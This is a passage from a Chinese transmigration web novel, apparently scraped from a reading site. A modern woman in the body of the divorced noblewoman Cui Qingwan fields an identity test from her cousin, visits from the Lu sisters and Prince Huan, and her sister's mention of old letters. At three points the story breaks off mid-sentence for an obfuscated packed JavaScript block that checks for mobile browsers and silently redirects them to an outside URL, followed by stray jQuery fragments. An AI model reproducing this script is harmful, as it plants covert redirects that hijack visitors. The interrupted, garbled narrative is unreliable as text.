“不错,这些不过是我猜想,而你在昏迷期间时时有云岫在旁,我也不好亲自验证,现下你醒了,我正好可以当面揭穿你的伪装,让你无话可说,还请恕在下失礼了。”
崔皓月胸有成竹地说着,而后他站起身来,以极快的速度将手伸到崔清婉右侧耳后,在对方还未反应过来时便伸出指头摩挲了一下。
“以桓王为人,想必他不曾料到,我四姐有一处天生的不同,那便是耳后的软骨尖——”
一个举动,把两个人都惊了一跳。
“滚啊流氓!!”
“这!你怎会!”
即便“崔清婉”对现在的这具身躯还不适应,但当有人,尤其是位不太熟的异性伸手来触碰时,“崔清婉”还是自灵魂深处激起一阵不适。她极为迅猛地将崔皓月的手拍掉,捂着自己被触碰的耳朵后撤一步,一脸警惕与紧绷地瞪向那人。
耳朵火辣辣地发烫,不是害羞,也不是什么心动,是厌恶,厌恶到想割掉耳朵,就像是野性动物被侵犯了自己的领地一般,下一秒就会扑上来与入侵者斗个你死我活。
而崔皓月在摸到对方耳后的软尖后,也怔愣在地,这与他设想的完全不同。于是当“崔清婉”反击时。那一巴掌是实打实地拍在了他的手背上。
但手背上的痛觉并没有让崔皓月清醒过来,相反,他呆站在原地,方才的自信也荡然无存,一时间思绪也乱了起来。
“你……你……”
崔皓月颦蹙着眉头,急促地吸了两口气,想让自己回过一些神来。
“你什么你!都说崔家大户人家,怎么就这般没有教——”
“崔清婉”可不会因为对方长得俊秀就有什么好语气,现代教育下的灵魂怎么会遇到冒犯还忍气吞声?然而她还没骂完,就被挨骂人“嘭”地一下跪地惊断了言语。
“四姐姐在上,方才是阿月失礼,还望四姐姐恕罪!”
“!”
瞧见崔皓月极为认真的跪拜顿首大礼,“崔清婉”一愣,这少年的情绪转变未免也太迅疾,这翻书都赶不上。
不过幸好被对方这么一惊,让“崔清婉”有一瞬的空白可以平复心情,暂且冷静下来。
有句话是怎么说的来着……“伸手不打笑脸人”?
但要是崔皓月还在自信笑着,自己一定会给他几下,反而是他现在行了如此大礼,看上去还颇为诚恳,心中那道火不知不觉消散了些。
“罢了,你先起来,见你诚心道歉,方才之事我可以原谅你。”
“崔清婉”揉揉耳朵,尽力覆盖方才的触感,随后她抖整衣袖,让自己尽量站立得端庄些。
“你有这般反应,想必是认可了这副身体确实是崔家四娘子的不假?”
崔皓月垂首不语,一袭黛蓝衣衫更显沉静,终是沉默了好一会儿,他才站起身来,再开口时气势也较之前弱了一大截。
“论理,我是无论如何也难以相信医官的说辞;论情,我也不信桓王为人。可姐姐耳后确有那软骨尖,这点我自是承认。”
“可怜崔家将我自苦难中救起,我却难以报答,我所能做的,仅仅是尽最大能力不让他人算计崔家。”
“而我……报效不成朝廷,又无法血战沙场……”
说着,崔皓月自嘲一笑,在叹气后又是对着“崔清婉”认真作揖。
“方才之事是我失礼,再次请……请四姐姐恕罪。”
不能报效朝廷……
是学习不好?
那无法血战沙场……
噢噢!肯定是晕血吧!
“崔清婉”偷摸着打量了几眼崔皓月,可看上去他也不是柔弱不能行武之人,想必他确实是有什么缺陷吧。
算了,这些都不重要,现下要紧的是他信了自己就是崔清婉原身,那先将错就错,只要自己找到回去的线索,一定立刻坦白,然后绝不留恋这副身躯。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877269|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你有疑虑我并不反对,毕竟对于我这样一个不记得过往的人来说,任何与周遭的联系都是崭新的,或许你想的没错,现在的我确实不能算是你的四姐姐。”
对方并不是抱着冒犯的心思来行事,“崔清婉”自然气消得快,思考后她走近对方身前将他扶起,随后又是犹豫了一下,一字一句地补充道。
“但有一事,希望你能记得,不论之前你抱着怎样的猜想,你的举动仍是不妥,‘恕你失礼’几字并不能成为你无礼行为的理由。”
听到身前人这样言语,崔皓月眉头一展,他不接话,只是垂首静听,仿佛习惯了似的,而这样乖巧的模样又使他眉间的那粒浅痣应和般地显示出几分惹人怜爱的意味。
“实话讲,我才醒来不满一日,实在有很多事情理不出头绪,等过一段时间,若我想到了什么,再约你一聚,到时,你我促膝详谈。如何?”
坦白终究还是会坦白的,可该怎样坦白,又向谁坦白,在什么时机坦白最合适,这些都需要考量,绝非头脑一热就能决定的。
起码,要让这条消息尽到最大的价值,也确保自己的安全。
“四姐姐有什么吩咐尽可呼唤阿月,即使四姐姐真的失忆了,阿月也该尽人弟的责任。”
崔皓月行叉手礼,颔首低眉,“崔清婉”很清楚察觉到对方身上增添的愁绪,但见他实在低落,也不好多问。
“不过,桓王那边绝对密谋着什么,若姐姐能记起,还望姐姐尽数告知,阿月别无他心,只想守着崔家……夜深了,阿月先告退了。”
黛蓝衣衫匆匆掠过,崔皓月已礼毕而去,“崔清婉”自然不多挽留,只是觉得这小伙子有些敏感,不知是被崔家保护得太好,还是说真有些缘由?
不过到底怎样她也没精力关注,现下还是自己的事最为重要。
仔细想想,今日崔皓月的举动,究竟是他一个人的意思,还是崔家当家人的授意?还有他所说之事,到底能信几分?若桓王与崔家这般水火不容,崔家又怎么会允许崔清婉原身嫁进堂堂郡王府呢?且崔皓月是否真的信了这身体乃是崔四娘原本的,如若信了,自己未来又该如何告知对方自己并非崔四娘一事?
嘶……如果直接说自己不是崔清婉的灵魂,会不会被当成失心疯抓起来灌符水啊?
“崔清婉”回忆起以前看志怪小说中的各种离奇迷信手段,不觉打了个激灵。
“欸?四娘怎么不坐着,四郎君呢?”
思绪纷扰的“崔清婉”站在一旁,已然出了神,连端着托盘进来的云岫也没注意到,这一来,又被惊了一下。
“啊?嗯!他说他困了,先回去休息了——”
“崔清婉”随便找了个借口糊弄过去,反正崔皓月走了是事实,她也不算扯谎,正当她转身看向门口欲走的云岫,忽然眼前一亮。
“欸?那是他要的奶酪樱桃?呃……既然他没口福了,不如我替他尝尝?浪费食物可是大过。”
“好,”正打算撤掉多余糕点的云岫,听到自家娘子这般言语,自然是欣喜不已,她忙将碗碟端上桌子,柔声嘱托道,“四娘慢慢吃,这樱桃正是季节,很是鲜甜清口呢!”
“嗯!”
“崔清婉”一顺裙子便在桌前坐下,随后她又从装着糕点的碟子中取了几块递给云岫。
“你忙了这么久,也吃些吧。”
云岫倒也没推辞,伸出双手接过糕点,她的眼中半含热泪,在烛光下像是缀了珍珠在眼底,楚楚动人。
“四娘虽然脾性变了,但还是像以前那般宽待下人,能跟着您,是云岫的福气。”
“崔清婉”眨眨眼,用目光抚慰对方不用担心,正准备分装奶酪樱桃时,才发现桌上没有多余的碗匙,只能羞赧一笑。
云岫见状,连忙回应:“四娘快自己享用吧,这奶酪樱桃您就别惦记我了,我向来不喜食奶味,您如今可能是不太记得了。”
“噢噢,原是这样,那不好意思了。”
“崔清婉”甜甜一笑,点点头,随后舀了半汤匙奶酪樱桃送入口中——
嗯!果然甜食最能放松人的紧绷情绪!真好!
见自家四娘吃得满脸笑意,云岫也是打心底高兴,她看得出来,她家四娘自苏醒后便满眼戒备,纵使四娘在努力轻松言语,可云岫还是能察觉出来,那藏在眼底时不时便会跑出来的疏离与不安。
“甜而不腻,人世间岂有此等美味!”
不到半刻钟,“崔清婉”便将一整碗的甜点通通吃下,她有些意犹未尽地将汤匙放在空碗内,惬意地挺挺腰背,而后又以一副漫不经心的神情向问起先前在意的事。
“说来,那日云岫代我去处理的贴身物件儿是什么?”
“唔,四娘连这个也不记得了,”云岫吞噎下最后一口糕点,整了整面容,“是四娘往日写的一些书信,四娘说那很是重要,得一块儿带走。”
“呃……书信?”
4. 不速之客
自从听得书信一事,“崔清婉”便想尽早取来一探究竟,那可是原身临死前委派贴身侍女去取的重要物件儿,怎能让人不在意?
可不想今日一大早想托云岫取来时,突地被三娘子差人告知今日的安排,根本分不开身。
唉……
古代人也有朋友圈吗?还是有空间、博客或者是论坛?
“崔清婉”隔着屏风瞧见往桌案上不断堆放慰问礼品的朦胧身影们,有点不明所以。
自己是醒来一日不假,但也不至于满京城的权贵们都知晓此事吧?他们那么闲?难道是崔家人在外面放鞭炮庆祝了?还是又有什么异象?
啧,社恐人对这种应酬的局面真的很头疼,还要一直保持微笑对着过来请礼的侍女们点头示意,脸都快僵了……
算了,不论是客套还是真心,人家准备了这样多的东西派人前来,甚至有亲自登门拜访的,总归都是好意,还是得谢谢他们。
“唷!看!我前些日子说得果然不错,四妹子定是逢凶化吉!瞧这模样,哪儿有坊间传闻的半点可怖?”
“那群嚼舌子人说的话你也信?三娘不早就告诉我们清婉妹妹身上的变化了吗?”
“我没信,我就是气不过四妹子被他们那般诽谤!”
应声看去,先是几位衣着华丽的侍女将捧着的礼盒又往屋内的桌子上叠了一层,接着进屋的便是两位锦衣玉带、珠围翠绕的妇人。
这两位姐姐杏眼细眉、面若桃花,体态丰腴,细细端详来,二人的面容竟是相似得很,只是一位周身气质娴静些,另一位则爽利些。
“见过两位陆姐姐!”
两位妇人一进屋,云岫便低声向在榻上半倚坐着的“崔清婉”说道“陆祭酒家的两位娘子来了”,“崔清婉”心领神会,忙着想要起身行礼,却被那位爽利的娘子快步走来止了动作。
“好了好了!起身做什么,真把我俩当成了外人?”
“崔清婉”露出满是谢意的笑容,她这时才注意到,明明这两位娘子穿的都是深绿色的外衫,但较为爽利的这位娘子身上面料显然更细滑光亮些。
“清婉不必多礼,三娘因着崔家产业上的事分不开身,你家四郎又是男子,不好做这些应酬下人的事。无奈今日探望你的人实在太多,接待人劳心费神,我二人便主动接下三娘的托请过来帮衬你些。”
娴静的娘子也是迎上前来,而后坐在“崔清婉”的榻边,在为“崔清婉”掖了掖被角后,又回首对带来的婢女吩咐道——
“馨儿,你带人帮着云岫把收下的礼品记录下来,来处务必清楚,至于送人时该说什么话、该行什么礼,你不是头一回做这些了,也不必我嘱托,去忙吧。”
“是,馨儿明白。”
娴静娘子身边的贴身侍女领命而去,然后将其他仆人也招呼出去,一下子屋内只剩下她们三人,倒是空闲了许多。
“多谢两位陆姐姐,只是想来两位姐姐家中还有诸多琐事,这般抽身前来,我实在过意不去。”
即便是社恐人,也不见得就是不懂人情往来的闷葫芦,在这种场合,“崔清婉”还是很应景地露出略带羞怯的笑容。
想来云岫也收到崔家人的意思,今日每有人来探望,云岫便会悄悄告知自己来者是何人、曾与崔家有何交集。
人形智能AI系统真贴心,要不是云岫自小服侍在崔清婉原身身边,这小半日下来她不定得出多少纰漏。
但方才人来得也太密集些,竟好一会儿不见云岫身影,而这两位与崔三娘子交情甚笃的陆姐姐前来,倒让“崔清婉”定了心神。
这两位姐姐乃是陆祭酒家仅出的双生女,较为爽利的那位是妹妹陆宥薇,夫家乃是李中丞;而娴静的那位则是姐姐陆宥蓁,丈夫是入赘陆家的王舍人。她二人与崔三娘子是自幼结识的闺中密友,因着家中人丁单薄,故而对自幼相处的崔清婉也倾注了一番关照之意。
“四妹子就是太客气了,我与姐姐能从娃娃们的发问声与哭闹声中逃离出来,自然是轻松还来不及呢,你又何必过意不去?”
陆宥薇云鬓侧歪,姣好的面容上神采飞扬,她站在塌边笑吟吟地看着崔清婉,但当见到“崔清婉”低眉顺眼的模样时,立刻敛了脸上的笑意,双眉紧拧,忿言道。
“说来也是,都这种时候你还客气,想必在桓王府更是没少受气!但凡你有你家二娘的犀利分毫,或是三娘的强硬半分,想必也不用受那妾室的算计!见你这个模样,我们都心疼得紧,最可气的还是桓王,明明娶了这样婉婉有仪的妻子,竟还惦记那个博人一笑的倡优!真是愚蠢!”
“薇儿!慎言!说那倡优便罢,扯什么桓王。”
听到陆宥薇过激的言语,陆宥蓁赶紧侧过头喝止自家妹妹,后者有些不满地看向了一边,但也不再多言。
陆宥蓁回过头来温和地看着“崔清婉”,又抬起手顺了顺清婉鬓边的碎发,缓缓说道。
“我知清婉妹妹素来心仪桓王,但既已分别,就别陷在过去,人总是要向前看的。你家大郎君与二郎君的意思,朝野内外是个明眼人便懂。若你还有那份心思,找个心仪的再嫁便是;若没了那份心思,往后就是诗书作伴,或是花草环身,料想也是无人敢多舌的。”
明白这两位娘子话语中明显的开导之意,“崔清婉”一怔,然后低头,弱弱开口。
“姐姐说的……我是明白的……只是……”
短暂的沉吟不语,在旁人看来,“崔清婉”这是为情所伤,难以言语。可实际上,现在的她只是想不到托词而已,说好的封建迷信呢?这朝这代怎么对离婚看得这么开?
但话说回来,崔清婉这个身份要不要再嫁什么的,自己可没办法决定,毕竟她可不打算以崔清婉的身份过一辈子,她终究是要回去的,不论成不成功,她都不会认命让自己困在这副躯体中。
所以,先拖着吧!
嗯……
这么一想的话,似乎,如果自己真的找到回去的方式,那……想来崔清婉就彻彻底底在这个世界中死亡了吧。
虽然合乎情理,但真想明白这一点后,她的心中还是不免会泛起一丝怜惜。
“罢了,才刚从昏迷中醒来的人,烦心这些做什么呢?还是好好养着身子吧。”
陆宥蓁见榻上人一副低沉的模样,只能拍了拍对方的手背,示意“崔清婉”宽些心。
“哼,只怕四妹子不想烦心,也得烦心了。”
本在安慰崔清婉的陆宥蓁,冷不丁地听到这么一声,正想回过头训斥自己心直口快的妹妹几句,却不想这么一偏头,便看到了刚迈进屋内的男子。
紫棠色的飞鸟团花袍衫衬着玉石腰带表明来人的格外尊贵,偏他腰间系挂着的玉佩还在微微晃动,又为这份威严增添了一丝灵动。看向全貌,那男子身材修长,颇具风姿,高挺鼻梁下的薄唇本是疏离的淡漠,可他双目含情,眉宇间尽显风流,任谁见了也得夸赞一句丰神飘洒、俊朗无双。
“原是桓王到了,下人们真是不懂事,也未曾通报一声。”
陆宥蓁尚且能起身行礼,客套浅笑,但陆宥薇却只是不情不愿地敷衍以待,用无言来表达自己的不满。
榻侧的帘子半耷拉着,正好遮掩了“崔清婉”的视线,她没看到桓王进屋的场景,只是听陆家姐姐这样说着,才意识到有人到来。
哦,原来是桓王到了……
等等!
谁?桓王??
李澈!!
“崔清婉”本还低垂着脑袋,蓦地听见“桓王”二字,不由得猛然抬头。
但俗话怎么说来着,“处事不惊,遇事不乱,戒急用忍,行稳致远”,现今在榻上坐靠着的“崔清婉”很显然没有做到这一点,她这猛地一抬头,只觉得有一根自后颈到脑壳的筋“咯嘣”一声被扭到——痛,实在太痛了!
“崔清婉”紧咬下唇,竭力遏制住自己因吃痛而呼之欲出的语气词,她抬手按压向自己的太阳穴,整个身子都绷得紧紧的,但眼眶还是瞬间涌上了眼泪,随着她探向李澈的目光,她的脑中又在激烈地思索着——这被休的妻还要不要向前夫行礼啊?
该死的封建等级,好痛!哦对了他是郡王,大概是正一品?还是从一品?或者二品?嘶——真的好痛,痛死了痛死了……
“崔清婉”尽力保持理智,抓紧回忆自己曾经看过的历史书籍与古代小说,但不论怎么想,她实在不清楚郡王是个什么等级。
算了,不论是什么,皇亲国戚大概都比自己这个云中郡夫人高一些,人在屋檐下,哪能不低头?大丈夫能屈能伸,忍常人之不能忍,我忍!
“崔清婉”当然坚信人格上大家是平等的,但她现在可是在封建社会啊,该装的样子还是得有,不就是行个礼吗,一个举动罢了,她的心绝不会屈服。
正在“崔清婉”忍住头上的痛要挣扎着起身施礼时,她突地发现,因着倚坐了许久,她的腿已经麻了……
于是,呈现在众人面前的便是一位半坐在榻上的病美人儿,撑着身子要向来人行礼,可偏她身子娇弱,撑将不起,目光垂落间,泪眼婆娑,我见犹怜。
“见过桓王——”
“够了!这个样子还起身做什么!”
当头一喝!
绝!
不起就不起!
“崔清婉”很坦然地松了劲儿,继续瘫在榻上,嗯……不过还是稍微挪了挪着力点,毕竟腿麻是真的难受。
但崔清婉不确定是不是自己眼花,方才挣扎起身的时候,似乎看到这桓王李澈……欲抬手过来搀扶一下?
嘶,别吧。
已经离婚就别纠缠不清,不论是对以前的崔清婉,还是现在的崔清婉,再纠缠都挺那个的。
而且,不是你主动休的原身吗?你这样是干嘛?
“崔清婉”心里已经是“地铁·老人·手机”的表情包了,可恨她没办法表达,只能憋着,甚至为了谨慎起见,她现今还得保持沉默。
“不知桓王前来有什么要事?若是探望清婉妹妹,此时人也见了,不如请回吧。”
明明是喝止崔清婉起身多礼,可在陆家两位娘子眼中这便是欺人太甚,陆宥蓁虽有娴静的美名在外,但此时送起客来也是不留情面。
“是了,桓王妾室众多,若因为探望四妹子而被‘佳人’们惦记,怕折了四妹子的福寿,也惹得众人非议,桓王还是请回吧。”
陆宥薇得了个能挤兑人的话头自然不会放过,这要是不说叨桓王两句,那真不像她了。她与姐姐陆宥蓁本是陆祭酒家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877270|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
千尊万贵的明珠,父亲的荣耀自然是她二人立世的底气,即便见了郡王也不犯怵。
“两位娘子说话何必这般尖锐,本王与婉儿……与郡夫人虽已两宽,但有些人情世故还未能说断便断,本王前来,也只是询问一事,过后便离去,绝不打扰。”
说来也奇了,向来狂傲的桓王竟受着二人的排挤,莫非是崔清婉的遭遇,让他也心生惭愧?
陆家两位娘子见桓王这般姿态,更是气不打一处来。若他强硬些,她俩还能与桓王论一论情理;可偏他颔首低眉,竟有致歉之意,让她二人也不好发作,只能侧了侧身子,让桓王与崔清婉说上几句。
“痛吗?”
李澈向床榻走近几步,一股厚重的花木香气便袭了过来,“崔清婉”垂着眸子屏住呼吸,属于李澈的香气她从未闻过,可此刻竟觉得有几分熟悉,连带着胸腔内部也泛起一阵酸涩的闷痛。
“桓王请说要紧事,我身子有崔家照料及好友关照,不劳桓王费心。”
想不清崔清婉的身体怎会有这样的反应,但作为内在的灵魂,她只能忍着不适生硬回复。
“是我的疏漏,我一定会给你个交代。”
像是心怯,李澈虽想再近榻前一步,但又止住了动作,他深情款款地注视着崔清婉,寥寥几语间竟有了一丝委屈之意。
这样的表现可给“崔清婉”整不会了,这唱的是哪儿出啊?他怎么还一副可怜巴巴的样子,这休妻还是被逼的?自己是不是还得心疼对方的迫不得已?什么烂剧本啊!这和昨天崔皓月所描述的人设完全不吻合啊喂!
“桓王说的哪里话,清婉不明白。”
温顺且疏离,“崔清婉”斟酌着强调自己与对方的关系。
而听罢榻上人的回话,李澈无言,只是叹了口气,随即又是一阵沉默,让屋内尴尬得紧。
“天意弄人,人待何为?早知今日,我又何必……”
李澈的眼眸中似藏了万般难言之隐,他顿了顿,没有将话说透。
“罢了,哪怕你同崔家一起猜疑我,我也愿意受着,只盼来日我寻得真相,你还能对我留有一丝情意,听我辩解。”
“崔清婉”怔了怔,对这话语实在拿捏不准,不由得起了疑惑。
说崔家猜疑,还盼望来日留有情意,怎么,难道当日赶去现场的人皆明白这天降神雷其实是火药埋伏?那为何所有人都藏着掖着不把事情说明,还让这流言越说越离谱?
且这埋火药炸人的事儿真与他没关系?现今场面是崔家错怪他了?拜托,决定休妻的可是他,云岫都和自己交代过这是突发的事,连崔家都措手不及,莫非还有人能未卜先知地设陷阱啊?
啧,不愧是身居高位的郡王,果真巧舌如簧,忽悠起人一套一套的。
想到这儿,“崔清婉”紧紧牙关,冷言回复道:“桓王还请说正事。”
看到崔清婉面上逐渐坚定的神色,李澈一怔,他目光中的沉痛更剧。
“好,好。”
像是自嘲般地重复了几个字眼,李澈深吸一口气,这样的举动偏让“崔清婉”看见,她只得屏着气来集中注意力去克制莫名冲涌上鼻腔的酸意。
“年初,盛王兄家的长女璨儿曾约你我出席她的金钗生宴,素日你最为宠溺她,如今日子渐近,你可还要前往?”
“我……”
突来地询问,让“崔清婉”一时有些犹豫,现下云岫不在身边,她总是有点担心自己应对不当。
可细想想,李澈既来,也犯不着在这种时候下套子,何况今日对话分明是他自觉有愧,又怎会有心思怀疑自己是否原身?再者而言,便是自己真的应答错了,那也有离魂症这个理由暂且搪塞对方。
“崔清婉”这一思考,映在李澈眼里便是迟疑,他忙向前踏了一步,安抚说道:“若你觉得为难,不去便是,静养在崔——”
“我去。”崔清婉打断对方。
“嗯?”
“我说我去,桓王请回吧。”
李澈清俊的面容愣了愣神,目光下的黯然与失落更甚,短暂沉默中,竟让“崔清婉”的心再度刺痛了几下。
还是搞不清这莫名的心痛与涌上鼻的酸意究竟为何,但她可不会将眼泪流到他人面前,尤其还是这场意外的始作俑者。
想了想,“崔清婉”轻提一口气屏着,撑着满脸的冷漠与回绝向对方看去。
“那便……不打扰了,照顾好自己。”
看到崔清婉的神情,李澈泛起一丝苦笑后便离去,只是他随行的侍从仍将补品之类的盒子堆放了好一会儿才尽数离去。
两位陆家娘子盯着那些仆从彻底走干净后,才重新靠近到清婉的身边。
“清婉妹妹,想哭便哭吧,人已经离开了。”
“我为什么要哭——欸?”
“崔清婉”仰着头对关切自己的陆宥蓁这般说着,却惊觉视线模糊一片,而眼泪扑簌簌地落下,敲在被面上“啪嗒啪嗒”作响。
她刚抬起手想要胡乱擦擦,却被一旁沉默良久的陆宥薇揽在了怀里。
或许,这具身体还残留着原来崔清婉的情绪吧,所以才在见过李澈之后这般的委屈,只可惜身体内现有的灵魂无法共鸣,她只是依着身体的本能,任其发泄落泪。
5. 莹润若珠
一场由毫无根据的酸涩所带来的哭泣自然是很快便止住了,虽然想不明白,但还好也没人多问,“崔清婉”整理神情后也不再提起。
其后便是不断地收礼、寒暄,忙碌又乏味,惹得“崔清婉”倦意阵阵。
直到傍晚时分,陆家两位娘子将要离去时,崔家三娘子崔清书也终于回来。
清书娘子与那两位简要寒暄几句后,便送对方出了门,等到再进崔清婉的屋子时,她手中已端了一碗熬制好的药膳。
她本想亲手喂自己妹妹的,但见妹妹有些为难的神情,便也不再坚持,将碗勺递给了清婉。
昏暗的烛光摇曳着,屋内的桌案边上围坐着锦衣着身的姐妹俩,一素颜清丽,一妆成明艳,本是两种完全不同的气场,但此刻二人面上都是认真,似乎要为今日的排场做个总结。
一旁的云岫看到崔清书自侍女处接过纸笺,便拿起剪子修了修烛芯,屋内一时又亮堂了几分。
“崔清婉”用汤匙搅动着碗里的粥,想要将其散凉些,余光里,她偷偷瞄了眼侧旁正欲展开纸张的清书娘子,不知该说些什么。
“香雾凝清书”,这位崔家三娘子是有一股子书卷气的,明明崔家家产多由她经手,可她周身的气场,还是读书人的清冷傲气。
藕粉色小袖短襦配以艾绿百褶长裙,清书娘子那白皙且丰腴的体貌活像一颗深海打捞上来的极品珍珠,莹润而又孤冷,再配上她极为繁复的朝云近香髻,也难怪陆家娘子陆宥薇会说,但凡清婉有清书娘子气势上的半分强硬,也不会被桓王府的人欺负成这个样子。
但大概也是知晓崔清书行事利落又果决,此时的“崔清婉”实在犹豫该怎么交谈才恰到好处,言多必失,得找个不太紧要的话题。
“记得清晨时,侍女曾说三姐姐今日是去了田庄,不知出了什么事?姐姐累不累?”
“崔清婉”就着烛光瞥了眼崔清书手中的花笺,也没看清上面写的什么,只是见对方不时眉头微皱,神情思索,便开口客套了几句。
崔清书没抬眼,仍紧盯着手中的纸笺,淡然回道:“累是自然,但近两年皆是如此,倒也习惯了,无非是那几十亩由王侯贵族们定下的花田受了倒春寒,须得安排下人用心打理一番。”
“王侯贵族们定下的?也难怪姐姐得为这些人多费心了。”
“崔清婉”弯弯嘴角,答着无关紧要的话语,一副乖巧模样。
“为他们多费心?不,”崔清书顿了一下,随即又当作什么也没发生,补了句,“好了,快吃粥吧,你再搅下去,都能变成浆糊了。”
“噢噢。”
见崔清书不愿多言,“崔清婉”自然不好再说什么,只能吱唔几声,便低头品尝着碗中的清甜了。
桌上的烛火轻轻颤着,小心又谨慎,当药膳也被吃了大半时,崔清书终于审阅完手中的花笺。
“阿婉,”崔清书抬起头,轻舒一口气,对着崔清婉开口,“哥哥们不便说,这话便由我提醒你——桓王与你,终是孽缘,记得也好,记不得也罢,权当再活一次。”
听罢崔清书之言,正舀着碗底内最后一点粥的“崔清婉”愣了愣,随后仍旧保持着舀粥的动作,只是向一侧偏了偏目光,沉默不语。
不是她真的纠结与桓王的关系,实际上,她纠结的只有与崔清婉的关系。
现在的情况,说好听点叫穿越,不好听的话就是夺舍。虽然这个夺舍是被动的,且原本的崔清婉基本也活不成了,但不管怎么说,自己内心并不是真的想要顶着崔清婉的身份过活。所以,她心中还是保留有与原身身份的界限,在一些大事上她不想插手,甚至只想逃避。
还是尽早寻到回家的办法,有关别人的爱恨纠缠、家长里短,自己可是一点都不想涉及啊。
崔清书见到自己妹妹这样沉默,不免觉得她是心里难过,加上方才送陆家姐妹出门时知道桓王来访时的情形,心里早已憋了口闷气。
“明明与阿羿是一胎同出,可你这妮子,向来是最会应付人的,暗里攥着的都是自己的主意。算了,本就记不得往事,还偏见了桓王,你会心软也是正常。”
正常?这言外之意是否是说,原身对桓王也是痴恋得很?难道她是忤逆崔家本意而一心嫁给李澈的?
不行,就算不想插手,也得对如今情况再问问……
“我没有心软,我只是记不清了,姐姐知道这种怅然若失的感觉吗?”
“崔清婉”以不太强硬的语调回了一嘴,随即又埋下头去,她用手中的瓷勺扒拉了几下碗内的粥米,显出几分委屈意味。
说起来,这样的“装腔作势”似乎是在与自己的父母对峙中练成的,她还记得在现代生活时,父母经常议论一些不容置喙的话题,最初自己也是激烈辩驳,后来被教训得多了,也学会以一种迂回的话术来表达自己的不满。
何况此时,她确实也不能表现出太强烈的情绪激动,毕竟自己不了解实情,只能顺着崔家人的意思,慢慢窥探。
“既是如此,那你也别怪姐姐揭你伤疤,你昔日书信还在,等明日寻了来,我想你读过便会彻底放下。”
嗯?上赶着送任务道具?本以为取得这书信还要什么波折,结果这样简单?
不是,这和一些剧本里写的怎么不一样?真就一点也不曲折?
真是……神奇。
“书信?是‘我’曾要寄给谁的吗?”
许是还有点不放心,“崔清婉”装作不甚在意地问道。
“若能寄给谁倒是好了,你性子执拗,从不肯向家里诉苦,否则我们兄弟姐妹,哪儿能容忍桓王那样待你?”崔清书摇摇头,本冷静自持的脸上终也显出一丝愠怒,“总之,想你看过便会忆起一些往事,姐姐只是想让你看明白,但最终的抉择还是依你。”
“好,我明白了,多谢三姐姐。”
“吃完粥便早些歇息吧,不论现今你是怎样的毫发无伤,终究是受了一场大罪,得多养着。”
见“崔清婉”已喝下药膳,崔清书便用眼神示意下人将碗盏收起,随后她也是起身,只在临出门前又嘱托一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877271|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“那书信被兄长们阅完便留在阿月那儿存着,明日你寻个时间找他要来,他若不给,便说是我的主意。”
“崔清婉”也是起身,紧跟在崔清书的身后送对方出门,在被对方眼神制止后,只能温然一笑打趣道:“姐姐这话说的,本就是我的东西,四郎——呃,阿月为何不给我?”
“他啊,”崔清书回过头,方才的愠怒不见消散,反而又添了几丝让人不明所以的轻蔑,“他向来听从兄长们的安排,而兄长们自打读过书信,便一直藏着掖着,要不是我还算有几分手段,怕不是也会被他们糊弄过去……”
似乎觉得自己说了太多,崔清书敛敛眸色,面上又恢复最初的清冷。
“总之,我认为我们崔家女子不必尽在兄长们的庇佑下过活,你做什么选择应当是你自己的意愿,即便你还得重新忆起曾经的痛苦。至于阿月那小子,他若因取书信一事和你言语周旋,你就直言,我那儿还准备了上百场宴会等着他磨炼呢。”
宴会磨炼?还有这种磨炼方式?
“崔清婉”挑挑眉,有些不解,但她心中还是因崔三娘子莫名的支持而略感惊喜,随后她又应和了几声便目送对方出门。
看着云岫将清书娘子送出院子的背影,她眸光一闪,又坐回到桌子旁。
如今看来,崔清书所表现的态度,似乎说明崔家内部对崔清婉被雷击一事有一定的意见分歧,但这个分歧又不是很大,大概就是一方想要自己在得知过去经历的基础上选择,一方想要自己忘记过去完全重新生活。
原来的崔清婉也许就是所谓甜宠文中被溺爱得不经世事的世家幺女?
桌边的“崔清婉”一手支起胳膊撑着脑袋,一手倒了盏茶水递到嘴边——其实吃粥后一直处于饱腹状态,但吃下食物后喝水清口也是她自现代便有的习惯。
习惯啊……
果然自己还是自己,即便装在了这副名为崔清婉的身体中,自己也不会真的变成她,懂了,这就是意识的相对独立性。
那站在一个纯路人的角度,不如猜猜这位清婉娘子会在书信中写些什么。
埋怨?诅咒?还是自我感伤?
不过不论是什么,似乎都能印证一件事,那就是自桓王李澈迎娶了崔清婉后,确实让这位清婉娘子受了很多委屈,但具体是什么委屈,也只能看看明日的书信了。
那若只是写满了委屈的书信,自己看后会有什么作用吗?
就此找到雷击真相,然后复刻情景回家?
